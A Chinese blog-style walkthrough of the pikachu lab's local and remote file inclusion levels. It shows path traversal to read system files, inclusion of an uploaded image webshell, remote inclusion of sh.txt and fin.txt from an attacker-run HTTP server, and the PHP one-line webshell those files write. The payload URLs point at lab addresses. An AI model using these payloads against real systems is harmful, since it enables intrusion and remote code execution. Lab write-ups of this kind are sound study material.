目录
先安利一下自己之前写过的DVWA通关--文件包含(File Inclusion)
在DVWA通关中写过的一些注意点可能在本篇中就不会再赘述了,所以如果不是针对pikachu的文件包含漏洞通关,可以再看一下这篇DVWA的文件包含漏洞通关,写的比本篇pikachu的更全更细更费心。
一、来自官方的简介
pikachu中文件包含漏洞的概述如下
那么在下文中,File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。
在开始之前必须知道的一点是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。
二、来自小可爱的通关步骤
第一关 File Inclusion(local)
-------的地方是个下拉框,可以选NBA球星,比如选了Allen Iverson之后,页面是下图这样,url是http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4
可见其中包含了一个文件file2.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。(~ ̄▽ ̄)~
1、读取“隐藏”文件
首先,由于观察到上图的filename是file2.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。
把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。
那有没有可能这套文件里面就有废弃或者隐藏的文件咧?
把burpsuite请出来爆破一下:
把下图这个请求报文send to intruder
然后像下面这样设置一下:
爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破
把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file10.php、file100.php
盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:
file6.php果然是个包含用户名和密码的隐藏文件
file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
file10.php和file100.php都是一样的报错信息,就不贴图了。
2、读取系统文件
从上面的报错信息还可以发现系统是windows系统,并且网站根目录是C:\phpstudy_pro\WWW
windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。
上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:
成功读取到C:\Windows\win.ini文件的内容:
3、结合文件上传getshell
在pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为609886601eb870c1b37703602838.jpeg,其内容包含下图所示的一句话木马。
上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/02/06/609886601eb870c1b37703602838.jpeg&submit=%E6%8F%90%E4%BA%A4
用蚁剑连接:
连接成功:
第二关 File Inclusion(remote)
先勘察一下情况:
首先这关要在php.ini中打开allow_url_include,不然会像下图这样报错。
这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?
url中把include()函数的完整参数给出来了。
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径呢:
1、直接包含木马
攻击PC上起一下http服务:
1、cmd命令行cd命令进入木马所在文件夹
2、起http服务:python3 -m http.server 8080
这样就把攻击PC上的http服务起起来了,接下来就可以通过文件包含漏洞从服务器请求攻击PC上的文件了。
用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/sh.txt&submit=%E6%8F%90%E4%BA%A4 包含文件sh.txt
该文件内容如下:
在浏览器里面试一下(虽然利用这个文件不是在浏览器里面利用,但反正就是演示一下请求文件成功了):
浏览器回显的warning是因为sh.txt中的一句话木马用的是assert()函数
攻击PC上cmd命令行可以看到sh.txt文件请求成功
上蚁剑:
url地址就是上面说的payload
连接成功
2、包含写木马的文件
首先同样要在攻击PC上起http服务,方法参见上一节。
接着用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/fin.txt&submit=%E6%8F%90%E4%BA%A4 包含文件fin.txt
该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马<?php assert($_POST[fin]);?>写入shell.php。
浏览器地址栏输入payload之后,返回的就是正常显示的页面,因为fin.txt中是php代码,被当作php代码解析,并不会显示出来。
但实际上从攻击PC的cmd窗口可见,服务器请求fin.txt。由于确定有文件包含漏洞,此时fin.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。
上蚁剑:
由于一句话木马是与fi_remote.php文件同级目录的shell.php,所以蚁剑上的url地址应该是:http://192.168.101.16/pikachu/vul/fileinclude/shell.php
连接成功
三、来自官方的提醒
这关代码里面官方亲自提醒了正确的漏洞修复方法,我就不自己玩了:
pikachu的文件包含漏洞设置的挺简单的,要看复杂些的可以看看dvwa的,我在本文开头安利了之前写过的dvwa的文件包含通关。
另外,需要注意的一点是,如果攻击PC上可以解析php代码,那远程文件包含的时候,就不能包含php文件,而是要包含其他后缀的文件;但如果攻击PC不能解析php,就比如像上面演示的这样,用python3 -m http.server(或者python2 -m SimpleHTTPServer )起http服务,攻击PC就不会解析php,也就可以远程包含php文件。
如有疑问欢迎留言讨论,如有错误欢迎指正